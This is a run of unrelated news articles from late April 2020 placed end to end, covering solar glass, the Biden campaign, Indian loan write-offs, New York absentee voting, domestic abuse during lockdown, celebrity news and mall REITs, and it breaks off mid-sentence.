California has made it mandatory for every new home to feature some form of solar technology. The immediate future of the solar glass is uncertain. The solar industry has not avoided a blow from the coronavirus pandemic and new solar installations in California, the nations leader in solar power, have slumped. It was only to be expected, with the same thing happening in many other industries as lockdown-caused unemployment surges and people retrench and shrink their spending. This year wont be good for any renewables, according to forecasters. The industry is already bleeding jobs, and these could reach a quarter of a million people. At the same time, a lot of utility-scale projects could be delayed to the second half of 2020 and even next year. However, the pandemic will likely be only a temporary setback for the solar industry, especially for those parts of it that offer cheaper alternatives to rooftop solar installations. Solar glass holds a lot of promise and it is only a matter of time before this promise is materialized. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: New York, April 29 : Hillary Clinton has announced that she will be special guest on a town hall meeting with former Vice President Joe Biden and is expected to endorse him to take on US President Donald Trump in November. A tweet on her account said cryptically on Tuesday: "A little hint about who the surprise guest will be for @JoeBiden's 3 pm ET (US East Time); 3 a.m. in India) town hall today. (She's excited.)" The tweet was accompanied by a picture of Biden with her and former President Barack Obama. Biden tweeted, "If you're excited too, join us at 3 PM ET." Former Secretary of State Clinton, who lost the 2016 election to Trump, is among the last holdouts among Democratic Party leaders in endorsing Biden, the only major candidate left standing in the party election for the candidate to run in the presidential election this year. Former President Barack Obama endorsed Biden, who was his vice president, on April 14. Biden is for all practical purposes is the party's presidential nominee with the last major candidate, Senator Bernie Sanders, dropping out. He will sail through Democratic National Convention nominating process, once the leaders figure out how to conduct the event scheduled for August during the Coronavirus pandemic. Sanders, a self-described socialist, has endorsed Biden, and so has Senator Elizabeth Warren, another candidate from the left for the party's nomination, who dropped out. Those endorsements could rally the party's left-progressive ranks around Biden, the centrist establishment candidate. Trump has monopolised the public discourse with his daily briefings with the White House Coronavirus Task Force, while Biden is shut out unable to hold rallies. The town hall meetings are one way for him to get exposure in the national media. (Arul Louis can be contacted at arul.l@ians.in and followed on Twitter @arulouis) The Congress on Tuesday lashed out at the Bharatiya Janata Party-led government at the Centre after a RTI query a couple of days ago revealed that the Reserve Bank of India (RBI) had written off a staggering amount of Rs 68,607 crore due from 50 defaulters, including absconding jeweller Nirav Modi and his partner Mehul Choksi. Senior Congress leader Randeep Singh Surjewala who was interacting with the media via a video conference cited the RTI query and demanded to know how the government had the money to waive bad loans when the entire country was facing financial instability due to the Covid-19 pandemic. Waiving off bad loans of huge amounts for willful defaulters has become the mantra of the BJP. On March 16, 2020, Congress leader Rahul Gandhi had demanded to know the names of 50 loan defaulters from the Union government on the floor of the house. The government had refused to divulge those names. On April 24, these bad loans were written off. When the entire country is fighting the coronavirus pandemic and at least 14 crore people have lost their livelihood, how can the government possibly waive Rs 68,607 crore in bad loans? Surjewala questioned. The Modi government has been unmasked and the fact that it is working towards writing off such bad debts shows that the government is hand in glove with the defaulters. In the list of 50 defaulters, absconding diamantaire Mehul Choksi and Nirav Modi are on top. We demand answers, the Congress leader said. Can the Modi government afford to waive such bad debts and if it manages to do so, the government needs to inform citizens how that is possible, Surjewala said. Simultaneously, Surjewala reiterated the Congress partys pledge to fight the Covid-19 health crisis along with the government and provide every possible support that the Centre may need. Indian banks have technically written off a staggering amount of Rs 68,607 crore due from 50 top defaulters, according to a reply under RTI from the Reserve Bank of India (RBI). Source: Xinhua| 2020-04-28 18:58:45|Editor: huaxia Video Player Close KUWAIT CITY, April 28 (Xinhua) -- A team of Chinese medical experts arrived in Kuwait on Monday night to help the Arab country fight coronavirus. The eight medical experts specialize in areas including virus testing, infectious disease, respiratory disease, intensive care, and traditional Chinese medicine (TCM). During their stay in Kuwait, the Chinese experts will exchange in-depth experiences with health experts and medical staff of Kuwaiti side, assisting them in the prevention, control, diagnosis and treatment of COVID-19. They will also provide necessary medical guidance and consultation for overseas Chinese in Kuwait. Speaking upon the experts' arrival in Kuwait, Chinese Ambassador to Kuwait Li Minggang said that, since the outbreak of COVID-19, China and Kuwait have always supported each other and maintained close exchanges in combating the disease, showing the high-level strategic friendship between the two countries. The Chinese government's decision to send a medical team to Kuwait demonstrates the determination of both countries to help each other and overcome difficulties, Li noted. "I believe that with the joint efforts of China, Kuwait and the international community, we will be able to overcome the pandemic as soon as possible," Li added. Fawaz Al-Rifai, assistant undersecretary of the Kuwaiti Ministry of Health for supporting medical services, said that Kuwait is looking forward to the arrival of Chinese experts. "When the world suffers from the coronavirus pandemic, China extends its helping hands to countries in the world," he said. Ruan Yuesheng, deputy director-general of the Health Commission of Ningxia Hui Autonomous Region and head of the medical team, told Xinhua that the Chinese experts will share with the Kuwaiti side China's experience in fighting the disease and providing prevention, control and diagnosis and treatment guidance. "We hope to help the Kuwaiti people overcome the disease as soon as possible," he said. The Chinese medical experts arrived in Saudi Arabia's capital Riyadh on April 15 to assist the kingdom in combating COVID-19. They came to Kuwait after finishing work in Saudi Arabia. Enditem Like a lot of teens trying to find their way, Brandon Kruse was unsure of his future upon graduating from Lee High School in 2019. He found his path close to home at Midland College. A native of West Texas, Kruse is wrapping up his final semester and is on track to earn an associate degree this spring. Hes planning to transfer to Texas Tech University and pursue a bachelors degree. He has enjoyed living in Midland and wants to return once he receives his degree. Kruses dad is in the energy industry; his mom is a counselor for Midland ISD. It is his mother who inspired him to press hard. Early on, Kruse and his family decided that it was best for him to stay close to home at least initially. My parents have always pushed me to do well in school and get a degree, Kruse said. They told me that with vision, determination and hard work, you can accomplish anything. He credits MC with creating a close-knit, nurturing community. Midland College has its own unique identity and culture, Kruse said. This campus opens up a lot of options. Once you find what you want to do, everything is here to get you started on your way. Kruses long-term goal is to work in the energy industry. I want to help companies manage finances and achieve their goals, he said. Focused on this career, Kruse applied for and received a scholarship and mentorship from Young Professionals in Energy. YPE has given me an amazing opportunity to pursue my dream, Kruse said. I hope to one day play a part in the success of local businesses in the energy sector. The colleges associate director of scholarships, Erin Casey-Richardson, said that when YPE mentioned this opportunity for Kruse, it was a proud moment for MC Scholarships. Here at MC, scholarships are one of the most important things we can do to help our students achieve their dreams, Casey-Richardson said. The YPEs offer to mentor Brandon will help provide him with an excellent education at Texas Tech that will forever change his life. Casey-Richardson also thinks Brandon Kruse is exceptional. Brandon is a very focused and driven student who has planned to attend Texas Tech since I met him in the fall of 2018, Casey-Richardson said. Brandon has emphasized his studies, and it is paying off. Midland College has more than 200 scholarship opportunities available. Thanks to generous donors, MC was able to award more than $1 million in scholarships during the 2019-2020 school year. When asked what advice he has for students considering going to college, Kruse said, students should go to school for you and work as hard as you can. Take this opportunity, and dont doubt yourself. Travis Woodward is director of Marketing & Communications for Midland College. The coronavirus pandemic has upended all aspects of normal life in New York, not least among them elections. After first being postponed, the state Board of Elections canceled the Democratic presidential primary now that former Vice President Joe Biden has become the presumptive nominee. Gov. Andrew Cuomo canceled nearly all special elections that were set for June 23, but that days regularly scheduled state and federal primaries will still take place across New York. Polling places in districts with races on the ballot will be open. But Cuomo also expanded absentee voting in order to minimize the number of people at polling sites for the safety of both voters and poll workers. Heres what you need to know about remote voting in New York. Do I need to apply for an absentee ballot? In order to vote by mail, voters must still fill out and submit an application to receive an absentee ballot. Although the governor had considered automatically sending a ballot to all registered voters in the state, his administration determined doing so would violate the state constitution. Instead, an April 24 executive order mandated that every registered voter in the state receive an absentee ballot application, with postage, to ensure that everyone who may wish to vote remotely has the opportunity. Interested voters would fill out the form, and mail it back to their local board of elections. Originally, state Republican Party Chairman Nick Langworthy opposed a move to directly send absentee ballots to every voter in the state. However, while still generally against expanded mail-in voting, Langworthy said in a statement that he would support a mailed absentee ballot program that allows for greater public health protections during the COVID-19 crisis. People can also print out an application online or apply digitally by emailing the completed form to the local board of elections. However, proactively mailing the application helps resolve potential roadblocks like lack of access to a computer or the internet. Receiving an application in the mail could also alert voters who have never used an absentee ballot before that they have the option to vote remotely. Arent there specific criteria you have to meet in order to qualify for an absentee ballot? Yes, and technically this is still true. Implementing a system where any person can receive a mail-in ballot for any reason, or where the state automatically sends ballots to voters, would first require a state constitutional amendment. However, Cuomo through an April 9 executive order expanded the definition of a temporary illness, one of the reasons for which someone could request an absentee ballot, to include the potential for contraction of the COVID-19 virus. This effectively makes everyone in the state eligible for an absentee ballot. This executive order only applies to elections held on or before June 23, so a new order would be needed if the coronavirus pandemic is still an issue in November. Will polling places still be open? Unlike in Ohio, which canceled nearly all in-person voting in favor of voting by mail, all polling sites in districts with elections will still open, as of publication time. While the expanded absentee voting and mailing of applications is meant to minimize in-person voting, Cuomo said he does not intend to hold an entirely mail-in election. Were saying you have both options, Cuomo said at an April 24 press conference. The good-government group Common Cause New York previously expressed opposition to the cancellation of in-person voting, which at one point seemed like a possibility. The groups Executive Director Susan Lerner said that a mandatory vote-by-mail system would put enormous strain on unprepared boards of elections and would disenfranchise voters with disabilities by removing accessible ballot options like braille or large print. She also cited the states history of inaccurately purging its voter rolls as another reason the state should not move to compulsory mail-in voting on such short notice. After the governor made it clear that he would not cancel in-person voting and will instead send absentee ballot applications to all active and inactive voters, Common Cause New Yorks Deputy Director Sarah Goff told City & State that Cuomos action served as a good compromise that ensures voters have options. However, she said the group still has concerns about the ability of boards of elections to handle an expected influx of absentee ballot applications. In a resource-strapped environment, unless there is some kind of supportive funding to counties that comes with it, this will be an unfunded mandate when counties are facing (billions) in cuts to the aids to localities budget, Goff said. Is there a precedent for this? There is very little precedence for setting up any kind of mail-in voting system on such short notice. Ohio, which quickly implemented voting by mail with very limited in-person voting for its presidential primary, is being treated as a national test case. However, the state has faced some problems getting absentee ballots to everyone who requested one, and there is a chance that thousands of voters wont receive one in time to cast a vote remotely. Three other states Hawaii, Wyoming and Alaska have also canceled in-person voting for their presidential primaries, but have not received as much attention as Ohio. Hawaii was already one of five states where residents vote by mail as the default, meaning all registered voters automatically receive ballots sent to their homes each election. This likely made closing polling sites a less daunting task. Both Alaska and Wyoming had also already allowed no-excuse absentee voting and pushed back their election and caucus dates in order to extend the mail-in voting period. In many ways, New York is less prepared than the majority of other states to handle even expanded absentee voting because its one of only 16 states that requires a voter to have a reason to request an absentee ballot. The states voting system has been ranked among the worst in the country. 29 states permit mail-in voting for all residents, and even those states dont have the infrastructure to handle an influx of new absentee requests. For example, Wisconsin election workers, a state that allows for no-excuse absentee voting unlike New York, were overwhelmed by the number of applications they received in a last-minute attempt to expand mail-in voting without delaying its presidential primary or closing poll sites. Wisconsins primary has been held up as an example of what not to do during an election amid the coronavirus pandemic. New York still has two months before its primary elections, hopefully enough time to avoid a repeat of Wisconsin. And canceling the Democratic presidential primary likely will reduce the strain on the state and local boards of elections, according to state Democratic Party Chairman Jay Jacobs. But even two months is not a ton of time to massively ramp up absentee voting. Cuomo has not said what the state is doing to prepare or aid counties, both to mail out applications to all voters and to receive what will likely be more requests than election officials have ever handled before. BAKU, Azerbaijan, April 28 By Jeila Aliyeva - Trend: Turkmenistan is interested in attracting investments, as was pointed out by President of Turkmenistan Gurbanguly Berdimuhamedov, Trend reports with reference to Watan newspaper. The investment policy carried out by Turkmenistan creates new work places and allows to improves the living conditions of Turkmenistans citizens. According to the president, attracting investments, including foreign ones, is one of the necessary conditions for the full implementation of Turkmenistans socio-economic development program for 2019-2025. The law of Turkmenistan about investment activities determines the legal, economic and social conditions of financing in the territory of Turkmenistan. This law is aimed at ensuring equal protection of the rights, interests and property of investment entities, regardless of the form of ownership. The main form of foreign investment in Turkmenistan is direct investment. Foreign direct investments can improve technical level of enterprises, increase the competitiveness of products and allow manufacturers to enter international markets. The banking system in the country is also actively involved in attracting foreign investments. An example of this is the attraction of foreign investments in the construction of a urea plant in the Balkan region. --- Follow the author on Twitter: @JeilaAliyeva Puducherry Health and Tourism Minister Malladi Krishna Rao on Tuesday criticised Lt Governor Kiran Bedi's style of functioning which was affecting welfare of people in the Union Territory. Rao, who represents Yanam, an enclave of the union territory in Andhra Pradesh, in the Assembly also hit out at the Lt Governor for preventing the entry of youths from Yanam working in Hyderabad during the lockdown. He told reporters here that a batch of eight youths from Yanam region were not permitted to return since March 26 from neighbouring Hyderabad as entry points had been sealed due to the lockdown to contain spread of coronavirus. He said despite Chief Minister V Narayanasamy's intervention, officials were not letting the youths belonging to Yanam who were working in Hyderabad enter the enclave, adding they were facing hurdles at the inter-State border in the past few days. Rao also said he would quit as minister if the youths were not allowed to return to Yanam in the next 24 hours. "I will quit as Minister since I am not able to be of any help to the people of my constituency despite a Minister," he added. Rao also accused the Lt Governor of standing in the way of the youths returning to Yanam and she was causing hardships to officers. "I have been working for not less than 18 hours a day to ensure that no section of people in Union Territory faced any hardships during the current lockdown," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Cy-Hope and the Houston Food Bank have relocated the mega food distribution from Houston Premium Outlets to the Berry Center for this weeks event on Wednesday, April 29, after the outlet mall began reopening for curbside service. The weekly mega food distribution event, now in its third week, was launched by Cy-Hope and the Houston Food Bank to provide food to families in need during the coronavirus pandemic. ON HOUSTONCHRONICLE.COM:Coronavirus live updates: Trump praises Abbott, Houston The outlet mall hosted the first two distributions in its large parking lot, which was not being used while retail stores were closed due to stay-at-home orders put in place by Harris County Judge Lina Hidalgo and Texas Governor Greg Abbott. Abbott issued another order on April 17 allowing retailers to begin reopening April 24 with a curbside pick-up model. The outlet mall is kind of semi-opening, Lynda Zelenka, executive director of Cy-Hope, said. The food distribution, planned to occur every Wednesday until the Stay Home-Work Safe order is lifted, was first held on April 15 and served families food until supplies ran out. Initially, the distribution received criticism for its location in northwest Houston and not in areas perceived as impoverished, Zelenka said. According to the ALICEor Asset Limited, Income Constrained, Employed2018 report from United Way, Harris County has the largest number of households living below the ALICE poverty percentage range at 1.6 million households. Cy-Hope and Houston Food Bank served more than 6,000 families during the first two events, with the National Guard aiding with traffic flow for the second event. Each vehicle received 60 pounds of food including produce, cereal and meat. WEEK 2: Mega food distribution feeds 3,000 more Houston area families Instead of four lines of food we had seven lines of food, Zelenka said. It was much more efficient. Everything was presorted so we had a lot more volunteers. It went really smoothly. This weeks distribution will occur April 29 from 2 p.m. to 8 p.m. at the Berry Center, 8877 Barker Cypress Road, Cypress. Cars must come into the parking lot from the main entrance. Cars will be served with social distancing in mind as volunteers load the car without recipients having to exit their vehicle. chevall.pryce@chron.com The Senate resumed to enable them to sustain work on solutions and to ensure that the health crisis does not create further problems much more difficult to deal with, the Senate President, Ahmad Lawan, has said. He stated this at the Senates resumption of plenary on Tuesday. The lawmakers reconvened five weeks after it suspended legislative activities to curb the spread of the Coronavirus disease as well as put up other safety measures in the complex. The lawmakers were expected to resume legislative duties on April 7 but the president, on March 29, ordered the lockdown of the Federal Capital Territory as well as Lagos and Ogun States, hence the postponement. The directive was also aimed at curbing the spread of the disease across the states and by extension, the country. In his welcome address, Mr Lawan said the pandemic has unsettled the economy, affected the way Nigerians relate to each other, and disrupted calendars of activities across different sectors. He said while the pandemic has affected legislative activities, the lawmakers have sustained their interventions and collaborations with other arms and agencies of government in the concerted bid to mitigate the damage from the pandemic. This is even as he said the federal government has responded well under the recommendations of scientists and experts. The pandemic has affected our budget for this year, not just because of falling oil prices, but also because it has forced a reduction in economic activities, leading to an enormous loss of revenue. We have been working with the executive on areas of adjustments for a more realistic implementation, and our resumption today will lead to a quicker resolution of some of our decisions. We will continue in our efforts in the interest of our good health, the well-being of our people and the sustainable development of our nation, he said. The lawmaker also prayed for Nigerians who have died of the virus including the Chief of Staff to the President, Abba Kyari. He prayed that the nation will be able to mitigate the continuous spread of the virus, so that normalcy can return. He commended the lawmakers for their support in their constituencies and stressed the need for more sensitisation at the grassroots level. We are confident that we shall soon overcome this crisis, like previous health emergencies. All hands will however have to be on deck to register a quicker and more resounding success. In Tuesdays plenary session, the lawmakers approved an N850 billion loan request by the president. They also received other letters from the president seeking confirmation of some appointments. Copyright 2020 Albuquerque Journal Albuquerque Public Schools Superintendent Raquel Reedy is calling for more federal dollars to go toward schools amid the COVID-19 pandemic. Reedy signed a letter drawn up by the Council of the Great City Schools that asks for $175 billion for education in the next coronavirus appropriations bill. The letter, addressed to Speaker of the House Nancy Pelosi and others, also urges Congress to earmark billions of dollars for special education and low-income families. The downpayment you made in our public education system by allocating some $13.5 billion in the CARES Act for our schools was a critical lifeline for public education in this country. But we now urge you to provide a second, substantially larger, installment for public school systems as you work on the fourth supplemental appropriations bill, says the letter, which is signed by more than 60 school leaders. Getting emergency infrastructure funding for public schools is also deemed a priority in the letter. While in-person school has been closed due to COVID-19, APS and districts across the state are still feeding and educating students from afar. APS is bracing for major hits to its budget for the fiscal year that begins July 1, projecting a multimillion-dollar shortfall even before state lawmakers revisit New Mexicos spending plan. BANGKOK, April 28 (Reuters) - Thailand's cabinet will not consider on Tuesday whether Thailand will seek membership of an Asia-Pacific trade agreement, which could boost its economy hit by the coronavirus pandemic, due to widespread opposition. The proposal to join the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP) was withdrawn a day before the cabinet meeting by Deputy Prime Minister and Commerce Minister Jurin Laksanavisit. "Due to conflict between different groups, the commerce ministry has withdrawn its proposal," Jurin told reporters. "This matter will not be discussed in the meeting as long as different groups in society have disagreeing opinions," he said. On Monday, the commerce ministry said it was presenting the cabinet its study that shows membership will boost Thailand's economic growth, investment and exports, to help offset the negative impact of the coronavirus pandemic. Thai opposition parties, civil society groups and prominent social figures have opposed CPTPP membership on the grounds that it would hurt the economy, particularly the agricultural and healthcare sectors. It is not immediately clear whether the CPTPP study will still be presented to the cabinet on a later date. Member countries, including Japan and Canada, signed the CPTPP deal in 2018 without the United States. The original 12-member agreement, known as the Trans-Pacific Partnership (TPP), was thrown into limbo in early 2017 when President Donald Trump withdrew from it. (Reporting by Panu Wongcha-um, Panarat Thepgumpanat and Orathai Sriring; Editing by Michael Perry) : Amid apprehensions of government employees that they would not receive salaries for April, the Karnataka Finance department on Tuesday issued orders ensuring that they would get it for the month. "...Funds can be released upto 1/12th of budget provision presuming concurrence of Finance Department," an order by Secretary to Government (B&R) Finance Department Ekroop Caur, delegating financial powers for April to additional chief secretaries, principal secretaries or secretaries to government, said. It said the order has been issued to delegate financial power for the month of April 2020 Delegation for the subsequent period will be issued based on the developments towards end of May, it said. Last week top government sources had told PTI that the government may spare employees salary cuts in April despite severe resources crunch following steep fall in revenue collection due to the ongoing lockdown to fight COVID-19. Due to the prevailing situation of lockdown following COVID-19, the revenues of state government are severely constrained. In view of this it is imperative for the government to restrict its expenditure to most essential items like salaries, pensions, social security pensions, food security and basic administrative expenditure, the order in its preamble said. Needless to say all expenditure on fighting COVID-19 will be given utmost priority, it added. Further, administrative departments have been asked to communicate within a week, a list of schemes if necessary, which the finance department feels need to be implemented in public interest even during the lockdown period or once it is partially relaxed. The Finance Department would take a call on implementing such schemes by issuing separate delegation order, it added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Yoon Sung-hyun / Korea Times file Photo: Matt Baron/Shutterstock/Matt Baron/Shutterstock This is what makes them beautiful. TMZ reports that Gigi Hadid and Zayn Malik, whose on-and-off romance has been a tabloid fixture for years, are expecting their first child together. Various family sources told the outlet that Hadid, a savage model of international renown, is reportedly about 20 weeks along and having a girl. The couple are currently quarantining with Hadids sister and fellow model, Bella, and family on their Pennsylvania farm and have been posting periodic social-media updates, but nothing that would indicate a baby on the way. (Hadids most recent photos were all about how she celebrated her 25th birthday.) With the pregnancy, Malik is now the third of his One Direction bandmates to become a father, following Louis Tomlinson and Liam Payne. God, just think of their gorgeous genes. Hadid and Malik, who first began dating in 2015 after a chance meeting at a party, have generally eschewed media attention except for a few fawning interviews from Malik through the years. Everything is great. Shes super organized and Im really not, he once told British Vogue. It helps that she can get things together for me a little bit. I lean on her a lot. They also share a horse together named Cool. Im really thankful that I met her, he added to GQ. I had a very negative outlook on things. That might have been adolescence or testosterone or whatever the fuck was running through my body at the time. Shes helped me to look at things from a positive angle. This article has been updated with new information about the babys sex. Former prime minister Theresa May has urged the government to consider the impact of lockdown on domestic abuse victims when deciding how quickly to lift restrictions which prevent them leaving their homes. Ms May said there was clear evidence that abuse was increasing during lockdown because perpetrators have greater freedom to act and victims find it harder to leave. The end of social distancing measures will see a significant increase in reports of incidents which took place behind closed doors during lockdown. Speaking via video link in a House of Commons debate on the Domestic Abuse Bill, Ms May warned: We cannot have a situation where the cure for the disease does more damage the disease itself. The bill was brought forward by Ms May in the final days before she handed over power to Boris Johnson last year, and is viewed as a key part of her legacy as prime minister. It passed its second reading in the Commons without a vote on Tuesday, as the draft legislation enjoys cross-party support. Coronavirus: London on lockdown Show all 29 1 /29 Coronavirus: London on lockdown Coronavirus: London on lockdown A man walks down a deserted Camden High Street Photos Angela Christofilou Coronavirus: London on lockdown Goodge Street Station is one of the many stations closed to help reduce the spread Angela Christofilou Coronavirus: London on lockdown An empty street in the heart of Chinatown Angela Christofilou Coronavirus: London on lockdown People in masks in Chinatown a day after the lockdown Angela Christofilou Coronavirus: London on lockdown A near-empty Piccadilly Circus during the first week of lockdown Angela Christofilou Coronavirus: London on lockdown Sonja, my neighbour, who I photographed while taking a short walk. It was nice to briefly chat even from a distance Angela Christofilou Coronavirus: London on lockdown A couple sit on the empty steps of the statue Eros in Piccadilly Circus Angela Christofilou Coronavirus: London on lockdown Making sure I stay two-meters apart DArblay Street, Soho Angela Christofilou Coronavirus: London on lockdown A mannequin behind a shop window. UK stores have closed until further notice Angela Christofilou Coronavirus: London on lockdown A notice displayed on a shop window in Camden Angela Christofilou Coronavirus: London on lockdown As part of the lockdown, all non-essential shops have been ordered to close.Image from Camden High Street Angela Christofilou Coronavirus: London on lockdown A skateboarder wearing a mask utilises his exercise allowance in the Camden area Angela Christofilou Coronavirus: London on lockdown Communities have been coming together in a time of need Angela Christofilou Coronavirus: London on lockdown A woman stands alone in a deserted Oxford Street. Up until a few weeks ago, on average, half a million people visited the street per day Angela Christofilou Coronavirus: London on lockdown A couple walk hand in hand down a street in Soho, a day before the stricter lockdown was announced Angela Christofilou Coronavirus: London on lockdown During the first week of March, shoppers focused on stockpiling necessities ahead of a countrywide lockdown Angela Christofilou Coronavirus: London on lockdown Many supermarkers are operating a queuing system to make sure only a limited amount of customers are allowed in at anyone time Angela Christofilou Coronavirus: London on lockdown Stay Safe Curzon cinemas are temporarily closed under the new measures Angela Christofilou Coronavirus: London on lockdown Pubs, restaurants and bars were ordered to shut as part of the lockdown Angela Christofilou Coronavirus: London on lockdown Camden High Street There are fears that coronavirus could lead to permanent closure of struggling shops Angela Christofilou Coronavirus: London on lockdown Camden Town is eerily silent on a normal working day Angela Christofilou Coronavirus: London on lockdown Shops and supermarkets ran out of hand sanitisers in the first week of the lockdown. As we approach the end of the second week most shops now have started to stock up Angela Christofilou Coronavirus: London on lockdown Empty streets around Soho Angela Christofilou Coronavirus: London on lockdown A noticeboard on Camden High Street urges the public to stay at home Angela Christofilou Coronavirus: London on lockdown Camden High Street, one of Londons busiest tourist streets turns quiet Angela Christofilou Coronavirus: London on lockdown Thriller Live confirmed its West End run ended in the wake of the coronavirus outbreak Angela Christofilou Coronavirus: London on lockdown Empty and eerie Soho streets after stricter rules on social distancing announced Angela Christofilou Coronavirus: London on lockdown A woman pauses for a cigarette on Hanway Street, behind Tottenham Court Road Angela Christofilou Coronavirus: London on lockdown A man steps outside onto Hanway Street, that sits behind what is usually a bustling retail hub Angela Christofilou Ms May said it was all the more urgent in the light of the current coronavirus outbreak, which has trapped many victims at home with their abusers around the clock. Because Covid-19 has required people to stay at home, to be locked down in their homes, it has set an environment where perpetrators have greater freedom to act, where victims find it harder to leave an abusive situation, said the former PM. The figures are clear - domestic abuse increases during lockdown. Although the lockdown rules provides an exemption allowing people to leave their homes to escape the risk of harm, Ms May said this would not always be possible. What we must recognise is that it is much harder for them to leave, she said. It is much harder for them to report domestic abuse, because perpetrators have been given greater control of them in the lockdown situation. They can take their mobiles away, they can stop them from walking out of that front door. She urged UK police forces to follow the lead of the New York Police Department, which has conducted random visits to properties where known abusers live. And she said: I would also urge government to think of the impact on domestic abuse that lockdown has made as they consider the exit strategy from lockdown. I want government to look not just at the impact of relaxing restrictions on capacity in the National Health Service. If service providers and abuse charities feel obliged to co-sign anti-sex work politics for government funding, sex workers will be further alienated from vital support, writes Vee Holt (Getty) Although we must all have a concern for our wonderful NHS staff and care workers and for those who contract the disease, government must also think about the impact of lockdown on our overall health and wellbeing as a nation. That of course includes the economy, but it must also include the impact on domestic abuse and mental health. We cannot have a situation where the cure for the disease does more damage the disease itself. Ms May called on ministers to ensure that victims services and the criminal justice system are prepared to cope with what could be a significant increase in reports of domestic abuse when lockdown restrictions are eased. Yvette Cooper, chair of the Home Affairs Committee, said there was evidence now the number of women and children killed as a result of domestic abuse in a "few short weeks has increased sharply and is at its highest level for over a decade". She added: "At a time when calls to helplines are up by 50 per cent and visits to some support websites up seven-fold and when some victims are feeling more trapped than ever because perpetrators of abuse are exploiting the coronavirus crisis to increase control and to commit crimes." Earlier, justice secretary Robert Buckland told MPs that help was available for victims of domestic abuse during the coronavirus outbreak. He said: "The police continue to respond to incidents of domestic abuse and anyone in immediate danger should not hesitate to call 999 and the emergency services." The new domestic violence commissioner will now work four days a week, rather than three, he added, after being convinced by arguments from MPs that the post should not be "part time". Hugh Jackman is winning praise from fans and critics alike for his role as a corrupt school superintendent in Bad Education. The movie is set to air on Foxtel Now on May 17, but has already screened on HBO in the United States, with many calling it the 51-year-old actor's best performance yet. 'Bad education is a great movie. That's the tweet. @RealHughJackman should get nominated for an Oscar,' raved one fan on Twitter. Scroll down for video Award-worthy: Hugh Jackman is winning praise from fans and critics alike for his role as a corrupt school superintendent in Bad Education Added another: 'Just watched the HBO movie Bad Education. I feel like I've finally seen Hugh Jackman as a proper actor.' Others said the multi-talented star was 'a joy to watch', 'spellbinding' and described his acting in the film as one of his 'finest works'. 'Words can't begin to describe how good Allison Janney and Hugh Jackman are in Bad Education,' tweeted another viewer. Best actor: The movie is set to air on Foxtel Now on May 17, but has already screened on HBO in the United States, with many calling it the 51-year-old actor's best performance yet 'Bad education is a great movie. That's the tweet. @RealHughJackman should get nominated for an Oscar,' raved one fan on Twitter Wrote another fan: 'In an obvious slow start to movie releases in 2020, Hugh Jackman in Bad Education is in a clear lead for best performance.' Even the normally hard to please critics couldn't speak highly enough of Hugh's performance, with USA TODAY branding it 'great acting', while Decider called it an 'Oscar-worthy role'. In an interview with Variety on Saturday, Hugh described the opportunity to portray real-life school superintendent Frank Tassone as 'fascinating'. Rave reviews: Others said the multi-talented star was 'a joy to watch', 'spellbinding' and described his acting in the film as one of his 'finest works' Wrote another fan: 'In an obvious slow start to movie releases in 2020, Hugh Jackman in Bad Education is in a clear lead for best performance.' 'The role itself was something different from what I've done. I liked the idea of someone who is super successful, very, very good at what he did, beloved by the community - and fell down this slippery path,' he said. And he described playing the villain as 'delicious' during an interview with Collider on Friday. 'As an actor, it just had so much to play with, and so many things that I've never really had the opportunity to play with. He's seemingly very charming, but also just a viper... Those things, I just found really exciting to play,' he said. Retailers are closely watching the consumer reaction in Georgia, as it is among the first states to begin a phased reopening of its economy. Salons, gyms and tattoo parlors were given permission by Republican Gov. Brian Kemp to reopen last Friday, followed by movie theaters and restaurants on Monday. While health officials and governments are closely monitoring developments in areas that are reopening, so are retailers. The country's nonessential store retail sector has been closed a month or more for the first time in history. It is impossible to know how consumers will react to a new normal, if they come back to shop, and how habits might have changed. Retailers such as those that sell apparel and other nonessential goods have not yet been given the go-ahead to reopen in the Peach State, and when authorities lift closures, it remains to be seen which retailers will choose to immediately reopen. Simon Property Group, the largest U.S. mall owner, is preparing to reopen 49 malls and outlet centers this Friday through Monday, according to an internal memo obtained by CNBC. The sites include Lenox Square in Atlanta and Calhoun Outlet Marketplace in Calhoun. Will shoppers return? But it's unclear if retailers with a larger footprint in areas that reopen will see a sales resurgence. Surveys suggest Americans may be reluctant to head to public places, even as authorities allow doors to open to once again serve the public. Nearly a dozen states have announced plans to roll back some coronavirus restrictions including Alaska, Colorado, Minnesota, Mississippi, Montana, Oklahoma, South Carolina, Tennessee, Texas and Vermont. The timing of rollbacks and what's allowed vary widely. Coresight found that more than two-thirds in its survey plan to avoid some kind of public place or plan to change travel plans after lockdowns end. By specific location, shopping centers and malls were the top place consumers plan to avoid, at more 45%. Consumers showed a bit more willingness to come back to shops, with just 28% planning to steer clear in Coresight's survey. In a separate survey, shoppers expressed various levels of fearfulness about physical locations, with just 33% telling First Insight they feel safe going to a mall, though over half said they feel safe in a grocery store. However, there was a clear gender divide, with women more fearful than man about all formats. That could be significant because women largely do most of the shopping in the U.S. Less than a quarter of women said they felt comfortable shopping in a mall compared with 41% of men. What happened After notable moves on Monday, real estate investment trusts (REITs) that own enclosed malls and factory outlet centers rose sharply for a second day. Macerich (NYSE:MAC) jumped nearly 13% in early trading today, with Tanger Factory Outlet Centers (NYSE:SKT) rising 15% and Taubman Centers (NYSE:TCO) 16.5%. Other big names in the sector also saw quick price gains, including Pennsylvania REIT (NYSE:PEI) and industry giant Simon Property Group (NYSE:SPG), which CNBC reported has started to make plans to reopen some of its malls and outlet centers. Prices across the group started to cool somewhat after about 10 a.m. EDT, but investors have been enthusiastic toward the REIT space lately. There are good reasons for that, but there are also notable negatives that still need to be considered. Now what Macerich, Taubman, Tanger, Simon, and Penn REIT all own malls that have been impacted by the government's efforts to contain the spread of COVID-19. Shopping centers were forced to shut down as malls, and the vast majority of the stores within them, are deemed non-essential businesses. That's a big problem for these landlords, since many tenants were already facing headwinds. In fact, some big-name lessees have announced that they won't pay rent while the malls they occupy are closed. That has a ripple effect, since mall owners have their own bills to pay. Mall owners are not all in the same financial situation. For example, Simon and Tanger have industry-leading balance sheets and their interest coverage ratios are better than those of their peers. They are in a relatively strong position to handle the hit. Penn REIT and Macerich, on the other hand, are both supporting notable debt loads. They are not in as strong a position and, in fact, both quickly reacted to the mall closures by cutting their dividends in an effort to preserve cash. Macerich is even paying 80% of its newly lowered dividend with stock. Before the shutdowns, 